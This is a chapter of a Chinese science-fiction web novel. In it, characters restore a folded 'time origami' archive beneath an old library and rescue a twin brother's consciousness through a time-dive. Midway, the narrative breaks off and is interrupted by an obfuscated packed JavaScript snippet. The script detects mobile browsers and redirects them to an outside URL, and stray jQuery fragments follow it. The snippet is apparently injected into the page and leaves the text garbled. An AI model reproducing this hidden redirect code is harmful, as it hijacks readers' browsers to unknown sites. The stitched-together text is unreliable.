墨离在衣柜前站了很久。手里拿着那件卷好的羊毛衫。对折，卷起。祖母的声音在耳边回响：“这样省地方，也不容易皱。”


    手机震动。江临发来一张新的波动图。


    “你看城西老图书馆的地基扫描。”江临说，“地下有类似卷轴的结构，但更复杂。像……多层折叠。”


    墨离放大图像。确实，不是简单卷起，是反复折叠后卷起，像折纸。


    “为什么这么复杂？”林微问。


    “可能是为了存储更多。”楚风的声音传来，“我查了图书馆历史。2143年，那里是公司档案备份中心。纸质档案。”


    “纸质档案和时间卷轴有什么关系？”


    “纸可以折叠。”墨离突然说，“档案要长期保存，会折叠后放入档案盒。多层折叠，节省空间。”


    他想起祖母收纳冬衣的方法：先对折，再对折，然后卷起，塞进真空袋。


    “多层折叠的时间布料。”他低声说。


    “什么意思？”江临问。


    “卷轴可能不止一层。”墨离说，“我们之前修复的只是最外层。里面还有折叠层。像俄罗斯套娃。”


    电话那头安静了。


    “如果里面还有层，”薛定缓缓说，“那存储的可能不只是那五年。可能是……更久的时间。”


    “多久？”


    “不知道。但图书馆的建筑时间是2140年。恰好是卷轴开始卷的时间。”


    墨离抓起外套：“去图书馆。”


    城西老图书馆已经关闭十年。准备改建。但工程停了，因为“地基不稳定”。


    他们到达时，工地空无一人。


    未央扫描：“地下十五米，有大型金属结构。形状……像折叠的纸。”


    入口在哪里？


    墨离绕着建筑走。注意到侧墙有个不起眼的通风口。铁栅栏锈蚀了，但螺丝是新的。


    “有人来过。”楚风检查螺丝，“最近几个月。”


    撬开栅栏。里面是通风管道。


    爬进去。黑暗，灰尘。


    管道尽头是个金属门。门上有锁。这次不是顶针孔。是一个……折纸图案。


    “需要完成这个折纸。”林微看着图案，“折出正确的形状，门才会开。”


    图案显示一张纸的折叠步骤。最终要折成一只鹤。


    “谁会折纸？”江临问。


    墨离想起小时候祖母教他折纸。鹤是最难的。


    “我试试。”他说。


    他蹲下，盯着图案。第一步，对折。第二步，角对折。第三步……


    他凭着记忆操作。手指在虚空中比划。


    门上的图案随着他的动作变化。


    折到一半时，卡住了。一个复杂的翻折步骤。


    “错了。”未央说，“应该先折里面。”


    墨离重来。这次更小心。


    最后一步。拉开翅膀。


    纸鹤成型。


    门无声滑开。


    里面是个巨大的地下空间。中央，悬浮着一个……折纸结构。


    无数的光之纸，折叠成复杂形状，一层层嵌套。


    “天啊。”江临轻声说，“这得折了多少层？”


    未央扫描：“至少一百层。每层存储约一个月的时间。总计……超过八年。”


    “2140到2148年。”薛定计算，“比我们知道的多了三年。”


    “那三年是什么？”楚风问。


    墨离走近折纸结构。最外层有标签。发光的字：2148年7月-9月，项目“镜廊”封存。


    镜廊。


    林微的噩梦。


    “镜廊是什么项目？”林微声音发颤。


    未央搜索公司数据库：“项目‘镜廊’，2148年启动，负责人苏映雪。目的：研究平行时间线可视化技术。2149年1月紧急中止，所有数据封存。”


    “我母亲的项目？”林微震惊。


    “是的。”未央说，“记录显示，项目产生了‘不可控的自我复制效应’。参与者的意识被复制到多个平行时间线，导致认知混乱。项目中止后，所有复制体被封存于此。”


    “所以我的噩梦……”林微看着那些折叠的光纸，“是那些复制体的记忆？”


    “很可能。”薛定说，“时间线复制体会产生量子纠缠。主意识的梦可能接收到复制体的记忆碎片。”


    墨离看着结构。它很稳定，但边缘有些光纸松了。


    “需要重新折叠。”他说，“但我不懂这么复杂的折纸。”


    “我可以。”一个声音从后面传来。


    他们转身。一个老人站在门口。拄着拐杖。


    “陈老师？”楚风惊讶。


    陈博士慢慢走进来。他的眼神清明，不像平时糊涂。


    “我知道你们会来。”他说，“折纸是我设计的。只有我会重新折叠。”


    “您……清醒了？”墨离问。


    “暂时。”陈博士走到结构前，“每个月有几天，脑子清楚些。今天正好。”


    他看着那些光纸：“镜廊是个错误。但错误也有存在的权利。所以我把它们折叠起来，藏在这里。等有一天，技术成熟了，也许能妥善处理。”


    “怎么处理？”


    “融合，或分离。”陈博士说，“但需要时间。现在不行。”


    他开始工作。手虽然苍老，但稳。他折叠松脱的光纸，一层层重新整理。


    动作优雅，像仪式。


    “为什么用折纸？”江临问。


    “因为折纸是哲学。”陈博士说，“一张平面纸，通过折叠，变成立体。时间也是。线性时间，通过折叠，变成多维。我年轻时学折纸，后来发现，和时间折叠原理相通。”


    他折好一层，检查下一层。


    “这八年，”墨离问，“除了镜廊，还有什么？”


    “很多。”陈博士说，“失败的实验，危险的技术，还有……一些不该存在但已经存在的东西。”


    “比如？”


    “比如时间克隆体。”陈博士说，“2145年，有人试图克隆时间片段。制造了七个重复的七月十九日。我把它们折叠在这里。”


    墨离想起自己的生日。那天被重复了七次？


    “为什么重复？”


    “为了研究时间循环的稳定性。”陈博士说，“但循环产生了自我意识。每个七月十九日开始‘记得’之前的循环。这很危险。所以封存。”


    林微看着那些光纸：“里面的人……还活着吗？”


    “以某种形式。”陈博士说，“时间循环中的意识，介于存在与不存在之间。折叠让他们静止，但未消失。”


    “能唤醒吗？”


    “理论上可以。但需要小心。七个循环，七个相似的但不同的世界。同时释放会冲突。”


    陈博士继续工作。折完一半时，他突然咳嗽。


    “您休息一下。”楚风扶他坐下。


    “老了。”陈博士苦笑，“年轻时，我能连续折三天三夜。现在不行了。”


    墨离看着剩下的部分：“您教我。我来完成。”


    陈博士看着他：“你手稳吗？”


    墨离伸出双手。顶针在食指上，镯子在腕上。


    陈博士点头：“你祖母的传承。好，我教你。”


    教学开始。如何对折时间纸，如何压出锐利的折痕，如何隐藏接口。


    “时间纸很脆。”陈博士说，“折太急会裂。要慢，要稳。”


    墨离尝试。第一张光纸，他折坏了。纸裂了道缝。


    “没关系。”陈博士说，“用时间胶水补。看。”


    他拿出一个小瓶。里面是发光的黏液。涂在裂缝上，纸愈合了。


    “这是什么？”


    “时间树脂。”陈博士说，“提取自时间树的树液。很稀有。省着用。”


    墨离继续。第二张好了些。第三张更好。


    渐渐上手。


    他沉浸在折叠中。世界缩小到手指和光纸之间。


    对折，压平，翻折，隐藏。


    像在整理一本巨大的立体书。


    不知过了多久。最后一张纸折好。整个结构恢复完整。


    陈博士检查：“不错。有天赋。你祖母当年学得没你快。”


    “您认识我祖母年轻时？”


    “当然。”陈博士微笑，“我们一起工作。她是最好的时间裁缝。我是最好的时间折纸师。我们搭档完成了很多不可能的任务。”


    “包括这个？”


    “包括这个。”陈博士看着结构，“这是我们的最后一件合作作品。之后，她就退休了。我也老了。”


    他坐下来，喘气。


    “这个结构能维持多久？”林微问。


    “五十年。”陈博士说，“五十年后，需要重新折叠。或者……彻底解决。”


    “怎么彻底解决？”


    “把折叠的时间线安全展开，让里面的意识找到归宿。”陈博士说，“但那需要更高级的技术。也许你们这代人能解决。”


    墨离看着这个巨大的折纸艺术品。它很美，但承载着沉重的过去。


    “我们会努力的。”他说。


    陈博士点头：“我相信。”


    离开时，陈博士又糊涂了。回到养老院时，他问楚风：“你是谁？”


    “我是小风。您的学生。”


    “小风？”陈博士茫然，“我有个学生叫小风。但他死了。”


    楚风愣住。


    “在2143年，时间实验事故。”陈博士喃喃，“小风为了救我，被时间流冲走了。我永远忘不了。”


    他哭了。


    楚风抱住老人：“我在这里。我还活着。”


    “不，你不是他。”陈博士推开他，“我的小风死了。你们都骗我。”


    护士过来安抚。陈博士被带走时，还在念叨小风的名字。


    楚风站在原地，脸色苍白。


    “他说的‘小风’……”林微轻声说。


    “可能是另一条时间线的我。”楚风说，“在封存的时间线里，我死了。”


    回程车上，气氛沉重。


    墨离的手机响了。是李。


    “联盟检测到折纸结构稳定了。”她说，“干得好。另外，有件事要告诉你们。”


    “什么？”


    “关于‘小风’。”李停顿，“我们查了陈博士的完整档案。在2143年的事故中，确实有个助手牺牲。名字叫楚枫。枫叶的枫。不是楚风。”


    楚风抬头。


    “但楚枫和楚风是双胞胎。”李说，“楚枫死后，楚风接替了他的工作。陈博士因为创伤，有时混淆两人。”


    “我……有个哥哥？”楚风声音发抖。


    “是的。”李说，“但记录显示，楚枫没有完全死亡。他的意识被困在事故的时间流中。可能就在折纸结构的某一层里。”


    楚风闭上眼睛。


    “你想找他吗？”墨离问。


    “想。”楚风说，“但……怕。”


    “怕什么？”


    “怕他已经不是我认识的他。”楚风说，“怕见面不知说什么。”


    江临拍拍他肩：“等准备好了再说。折纸结构很稳定，不急。”


    回到家，墨离看到祖母在院子里喂鸟。


    “奶奶。”他坐下，“我今天见到了陈博士。他教我折纸。”


    祖母手停了：“□□？他还好吗？”


    “时而清醒，时而糊涂。他提到了‘小风’。”


    祖母叹了口气：“楚枫那孩子……可惜了。”


    “您认识他？”


    “嗯。”祖母继续喂鸟，“很好的孩子。手巧，心细。那次事故…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222635|196992||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …我就在现场。看到他被时间流卷走。陈博士想救他，但来不及。”


    “他的意识还在折纸结构里。”


    “我知道。”祖母说，“是我建议陈博士把他封存起来的。想着有一天能救出来。但技术一直没成熟。”


    墨离沉默。


    “你想救他吗？”祖母问。


    “想。但不知道怎么救。”


    “需要时间潜水。”祖母说，“进入折纸结构内部，找到他，带出来。但很危险。你可能也会被困。”


    “我不怕。”


    “我怕。”祖母看着他，“我就你一个孙子。”


    墨离握住她的手：“我会小心的。”


    祖母看着他，很久。


    “好吧。”她说，“我教你时间潜水。但你必须答应我，做好万全准备。不能贸然行动。”


    “我答应。”


    接下来一周，祖母教墨离时间潜水的技巧。


    “时间潜水不是物理移动。”她说，“是意识沿着时间线移动。你需要一根‘安全绳’，连接现实，否则会迷失。”


    “用什么做安全绳？”


    “血缘线。”祖母说，“用你和你父亲的血液，做成线。血缘的量子纠缠最强，能锚定你的位置。”


    墨离和父亲抽了一点血。祖母用特殊方法，把血纺成发光的红线。


    “这根线能持续七十二小时。”她说，“超过时间，会断裂。你必须在七十二小时内返回。”


    “明白。”


    楚风也决定一起去。


    “他是我哥哥。”楚风说，“该我去找。”


    他们准备了两条安全绳。


    进入点设在折纸结构前。


    李和薛定负责外围监控。


    林微和江临协助。


    “记住，”祖母最后叮嘱，“在时间流里，不要相信眼睛看到的。相信感觉。血缘会引导你们找到彼此。”


    墨离和楚风躺进特制的椅子。连接设备。


    启动。


    意识被抽离，进入光之纸的折叠世界。


    里面是迷宫。无数层折叠的时间，像千层饼。


    墨离沿着血缘线的指引前进。楚风在附近，他能感觉到。


    他们看到折叠的时间片段。2143年7月19日，不同版本。


    第一个版本：晴天。墨离出生，父母在笑。


    第二个版本：下雨。产房停电，紧张。


    第三个版本：阴天。父亲迟到，错过出生。


    ……


    第七个版本：夜晚。墨离出生时，天空有奇异光。


    七个七月十九日，七个相似但不同的世界。


    血缘线指向第七个。


    他们进入。


    夜晚的医院。产房外，父亲在焦急等待。


    年轻的陈博士也在。还有楚枫。


    楚枫看起来和楚风很像，但气质更温和。


    他正在操作一个仪器。监测时间波动。


    突然，仪器报警。


    “时间流异常！”楚枫喊，“要溢出了！”


    陈博士冲过来。但来不及了。时间流从仪器中涌出，卷向楚枫。


    楚枫被淹没。


    就在这时，墨离和楚风出现。


    楚风伸手去拉哥哥。但时间流太强。


    墨离抛出红线。线缠住楚枫。


    两人用力拉。


    时间流在抵抗。


    墨离感到安全绳在绷紧。时间不多了。


    他集中精神，激发鳞片。时间鲸的力量涌现。


    时间流被推开一瞬。


    就这一瞬，楚枫被拉了出来。


    三人迅速退出这个时间片段。


    回到折叠空间的通道里。


    楚枫昏迷。但还活着（意识状态）。


    “快走。”墨离说，“安全绳快断了。”


    他们沿着线返回。


    接近出口时，遇到阻碍。折纸结构在自动修复，通道在闭合。


    “冲过去！”楚风喊。


    他们加速。


    在通道完全闭合前，冲了出去。


    回到现实。


    两人睁开眼睛，大口喘气。


    楚枫的意识体漂浮在空中。发着微光。


    “成功了。”李说。


    薛定检查楚枫的状态：“意识完整，但虚弱。需要时间恢复。”


    他们把楚枫的意识导入一个临时载体——一个简单的机器人身体。


    机器人眼睛亮起。


    “我……”声音生涩，“我在哪里？”


    “哥哥。”楚风轻声说。


    楚枫转头看他：“小风？你长大了。”


    “嗯。”


    兄弟俩对视。很久。


    “我睡了多久？”楚枫问。


    “二十三年。”


    楚枫低头看机器身体：“我变成了这样。”


    “暂时的。”墨离说，“联盟会帮你找更好的载体。”


    “谢谢。”楚枫说。


    事情告一段落。


    楚枫被联盟接收，进行康复。


    楚风经常去看他。


    墨离继续他的巡查员工作。


    一天，他经过老图书馆。工地重新开工了。但折纸结构被转移到了安全地点。


    他抬头看天。


    时间如纸，可以折叠，可以展开。


    但最重要的是，在折叠与展开之间，有人的生活，有人的故事。


    而他，是那个小心折叠的人。


    不让纸张撕裂，不让痕迹消失。


    这工作，平凡，但重要。


    他笑了笑，继续往前走。


    太阳很好。


    时间还长。


    慢慢折，慢慢活。


    总有新的一页。


    等着被小心对待。


    他想，这就够了。